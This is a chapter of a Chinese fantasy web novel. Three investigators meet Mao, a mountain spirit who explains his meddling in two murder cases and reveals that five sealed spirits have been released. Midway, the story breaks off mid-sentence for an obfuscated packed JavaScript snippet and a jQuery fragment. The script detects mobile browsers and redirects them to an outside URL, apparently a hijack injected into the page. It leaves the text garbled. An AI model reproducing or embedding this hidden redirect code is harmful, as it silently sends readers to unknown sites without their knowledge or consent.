十字山上的怪石嶙峋,爬起来格外狼狈,脚下的碎石杂乱,稍有不慎就有可能陷入险境。凌惜言爬山不易,悲伤叹气,他刚回到旅馆准备小睡一觉,结果还没躺下就被肖停语拽着上山了。
趁着肖停语停下来寻找方位的间隙,凌惜言手撑着身旁的树干,弓背喘着粗气,汗水浸透了他的上衣,他无奈揩了把汗,又看了看走在前面的两个人,他们脸不红心不跳,走在这里如履平地,悲伤突然袭上他的心头,不得不安慰自己,不是他体力不好,是这两人比他更能熬,心里暗暗下定决心,下一次,下一次一定要把身体练好。
眼看已经到了傍晚时分,肖停语眯眼眺望着不远处的密林,暮色西临,山雨欲来。
从他们来到山上,那股气息就又出现了。
他们一路顺畅,顺着危险的气息终于来到了这里,看来她猜想得没错,那东西一直在刻意隐藏自己,之前在柳云秀家发现的那股微弱的气息是它故意流露出来的。
方遇安跟紧她,跟在她的身后,关心问道,“怎么样,找到它的位置了吗?”
她还来不及回答,不远处的密林就忽地卷起了风浪,悲鸣的黄昏被狂风卷得暗无天日,她的神色紧绷,时刻警惕着四周,那股熟悉的气息随着风声的呼皞越来越浓了,肖停语低声道,声音里克制着满满的怒意,“它来了。”
伴随着怒啸的风声,一道苍老而沉稳的声音传进了她的耳朵,“太慢了,太慢了,你们可终于来了!我都在这等你们好久了。”
同样听到了声音的方遇安和凌惜言精神一振,纷纷护在肖停语两侧,蓄势待发,快速进入防备状态。
一束残余的光束降落,照进了密林,接着,一位身量不高的小老头从树林深处不疾不徐地走了出来,他就站在那。
老头一头银发,双瞳晶亮,花白的胡子没过了他的前胸,一阵风刮过,他的胡须在空中凌乱飞舞。他穿着米白色的对襟唐装,衣服上闪着微微银光,一手捻着胡须,一手背在身后,颇有些仙风道骨。不知道的,还以为是从哪里来的仙人。
肖停语却不这么认为,她握紧拳头,怒视着他,那股熟悉且浓烈的气息从老头身后浮现,不出所料的话,这气息和她在鹿儿山感受的一模一样。
她冷笑一声,“自以为是,多此一举的臭老头!你竟然还敢嫌弃我们慢?要不是你从中捣乱,我们能查得这么费劲?”
白胡子臭老头装傻充愣,“我是在帮你们呀。”
肖停语气笑了,“帮我们?你还有脸说是在帮我们?”
“要是没有你的‘帮忙’,我们可能会查得更轻松。谁允许你私自搬运尸体的!要不是在井底发现了黎阳的衣服碎片,我们要怎么定黎平的罪,这些你都想过吗?”
“柳云秀的尸体原本好好躺在店里,你干嘛要挪走?是,我知道你是想让我们查黎阳的案子,那你说一声不就好了,被你这么一捣乱,你知道会损失多少线索?浪费多少人力和时间吗?”
“你还大言不惭地说是在帮我们,我看是在帮倒忙吧!”
“还有,人家带着警犬都发现不了两具尸体的所在位置,也是因为你这个臭老头吧,一定是你出手压制了她们的气息。这两个案子本来挺简单的,被你这么一掺和,搞得这么费劲。”
“还有你的盗窃尸体罪,扰乱治安罪,数罪并罚!”
“还有...”把她打伤,致使她失忆。
肖停语一项项罗列着他的罪名,这个老头所犯下的罪行简直是罄竹难书。
方遇安同样用警惕的眼神盯着他,防止对方突然出手。
“别急嘛,你说你这个年轻人,怎么就这么急躁呢,听我慢慢讲,有话好好说嘛。”白胡子老头放下捻着胡须的手,做了个制止的动作,然后双手一摊,略显无辜,“我也有苦衷呀,我不能随意向人类现身,我之前也不确定你们靠不靠谱,不过结局终归是圆满的。”
“欸欸欸,小姑娘,还有你说话的时候能不能先把你的左手放下,你累不累,我又不跑。”老头侧身躲闪着肖停语腕上的丝弩,嘴上仍在狡辩,“你听我给你解释嘛。”
老头的身子往左拧,肖停语的手就迎过去,他往右躲,肖停语再次跟紧他,他逃她追,他插翅难逃。
肖停语冷笑一声,不仅不肯放下手,还往前伸了伸,故意摆在他面前,警告他,“你最好能给我说出个花来,不然的话,别怪我把你打成花。”她积攒了那么多天的怨气,现在终于有了撒气的地方,“我倒要看看你这个只会惹麻烦的臭老头究竟想要做什么?到底有什么目的。”
“怨气不要那么大嘛,我还给你们提供了线索呢。”
“线索?”他自己还有脸提?说起这个她就来气,“不就是个六价铬吗,为什么要泄露得那么隐蔽?”
老头看她暂时没有真要动手的意思,又看了看在她身后的两个人,看来小姑娘是领导者,他忙安抚,“小姑娘,我也是没有办法的,我只能借由他人之手告诉你们真相,但我又不能让陈慕唐陷入危险之中。这些年来,铜也村的村民不是没有向上反映过工厂的问题,但都被压了下来。最严重的,那群上报的人都不得善终。”
老头面露苦恼,“你说说,我怎么忍心让她一个人犯险,我必须把她排除在外,思来想去,才让她把六价铬隐晦地提示给你们。”
如果他们还算聪明,就可以顺着这条线索查到皮革工厂,如果来了几个不中用的,也不会给陈慕唐带来不必要的麻烦。
肖停语:“你是怎么找上陈慕唐的?”
“只要是在这里发生过的事,只要我想,我就能全部知道。只要稍加了解,我就知道了黎平的那些腌臜事,卖女求荣,利欲熏心。还有那个周斌,抛妻弃女,他们都不是好东西。”
“哼,这种混蛋事也就只有你们人类从才能够狠心做得出来。”
“这么多年了,我一直被监禁在十字山上,只能眼睁睁地看着他们破坏这片环境,无能为力。直到一个月前我被突然解禁,我就知道你们迟早会来找我,于是我先找到了陈慕唐,并告诉她,我能够帮她找出杀害黎阳的凶手。”
“接着,我发现了周斌的罪行,就想着正好可以利用这个案子把你们引进来,用你的能力去破这桩案子,这才隐藏了尸体的痕迹,故意留下我的气息。”
等肖停语他们听说了这桩案子,一定会用自己的能力参与进来,再不济,他们也会寻求上级的指示,这样一来他的目的就达成了。“我做的这些事与陈慕唐无关,你们不要去难为她了。”
要把黎阳的案子摆在人前,他一定会有上百种方法,可偏偏采用这么迂回的方式。这样做,在肖停语看来百害而无一利。就像她所说的万一证据丢失,对方打死不认,这完全是徒增难度。得亏是在井底发现了衣服碎片,以及井底的土质和死者衣服上的比对一致。
“你完全可以让她去报警,这样一来,黎阳的案子和工厂问题就都解决了。”凌惜言抢先说道。
“你这小子怎么想不明白呢?黎平的工厂能够畅通无阻开下去,身后必然有人。你能保证,陈慕唐以后不会被他们报复吗?我还是那句话,我不能把孩子扔在危险之中,倘若我之后不再这了,谁护着她。”
“所以这些事交由你们去查最合适。”
“为什么一定要是我们?”
“只有你们才能解释清我的存在。其实还有一个原因,我想测试测试你们,看看你们这一代的能力,管窥一斑,可见全豹,如果你们是群草包,那我也没必要向你们投诚了。”他也有自己的考量。
方遇安讶道,“合着你把案子搞得这么复杂,就是为了测试我们?”
不管出于什么目的,他的做法就是不对,他必须付出应有的代价,“投诚?你刚才又说被监禁?”肖停语又问,“老头,你到底什么来历,在鹿儿山打伤我的也是你吧?”
他轻啧一声,“别老是老头老头地叫,老朽我是有名字的,我叫卯,子丑寅卯的卯。”
“还有呀,打伤你的不是我,应该是另一个被监禁在鹿儿山的山都怪,她叫垚。”
凌惜言倏地站起身,心顿时提了起来,“另一个?你们到底有几个?”
卯的视线转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585820|171740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向他,冷淡开口,“五个,我们有五个。”
方遇安:“五个?你们竟然有五个?”
“对,怎么?”他疑惑地看向他们,“怎么?你们没听过我们的故事吗?”
肖停语三人你看看我,我看看你,集体陷入沉默,他们一个失忆,一个懵懂初学,一个编外人员,还真不知道这件事。
卯的眉毛抖动几下,撇撇嘴,语气颇有些不满,“你们可真是一届不如一届,你们竟然没听过我们?”
凌惜言极力找回面子,“你是什么有名人士吗?我们为什么一定要知道你?”
“那你们总应该知道,你们所在的部门其实在千年前就存在了吧。我们五个曾经年少轻狂,想要成些大事,没想到还没实施,就被你们的前辈们监禁在了五座山下。”
“上千年呀,我们不能动,也不能使用能力。”
方遇安观察他现在的状态:“那你现在?”
“大概一个月以前我发现我被解禁了,我不知道是谁的手笔,但对方有什么目的,不用我说你们也猜得到,想必不是什么好事。”
“而且我猜,不止我一个,那四个也一样,我们统统被那个未知人解禁了。”
肖停语暗暗思索,这可能就是她当初去鹿儿山的理由了,这也是十字山和鹿儿山出现异动的原因。
那么,她当时在鹿儿山所感受到的气息就和十字山的不一样了。
这也不能怪她,她先前也不知道这群山都怪竟然有五个之多。她没办法区分他们的不同,这才错误地认为她所追踪的只有一个。
五个,照这么看来,其他几个监禁山都怪的地方必然也会陆陆续续出现问题。
虽然鹿儿山上的那个跑了,但这个老头却提出了要投诚。
凌惜言想当然认为,“剩下的那几个山都怪要都跟你一样,应该还挺好解决的吧。”
卯笑他太天真了,“我们有男有女,有老有少,有大度的,就有善妒的,有性格沉稳的就有脾气暴躁的。”
“我年纪大了,折腾不动了,也懒得参与争斗。但我们毕竟被你们压制了上千年,你认为他们都像我一样?难道他们不会有怨气,不会报复你们吗?”
“虽然不知道是谁把我们解禁了,但我感觉得到对方的来头不小,你们也要小心一点。”
方遇安不解,虽然这么说不道德,但他还是问,“你被囚禁在这上千年,我以为你会恨透了这个地方,恨不得亲自毁掉它。山下所发生的事你完全可以坐视不管,你为什么会出手呢?”
“对呀,我完全可以不管的。”老头倒背着双手,忽然仰头长叹,他眺望着山下,娓娓道来,“可我终究在这待了上千年,这里的一草一木,一花一树,一人一景,我都把他们当作了自己的孩子。冬去春来,寒来暑往,我每天靠着观察他们过活。”
“可是不知道从什么开始,一切都变了。你能忍心看到自家孩子竟然为了利益去伤害自己的另一个孩子吗?自然环境受了委屈,是不会开口的,而它们也是最单纯的,也是最能直观表达喜恶的。”
老头手指着铜也村的方向,“你们看到了吗?”
此时正值夏末秋初,山下还是郁郁葱葱的景象,而铜也村方向的环境凋败,仿佛上空都笼罩着阴沉,“它们是会传染的,如果再不制止他们的行为,用不了多久,这里的一切就都毁了。”
“他们都在哪?”肖停语又问,“你说你们五个被压制在五座山上,除了鹿儿山和十字山,剩下的三座山都是哪?”
“这五座山包括你们去过的鹿儿山,现在所在的十字山,然后就是金鸣山,悬几山,还有就是...”卯老头的语气稍加停顿,看他们时的神情意味不明,目光直视他们,仿佛意有所指,“还有就是,百泉山。”
肖停语注意到,这话一出,凌惜言和方遇安的脸色都不太好,她疑惑地看向他们,问道,“怎么了?有什么不对劲的吗?”
凌惜言一愣,而后反应过来肖停语的现状,他磕磕巴巴地解释“师姐,你可能不记得了,咱们部门的根据地,就在百泉山的山上。”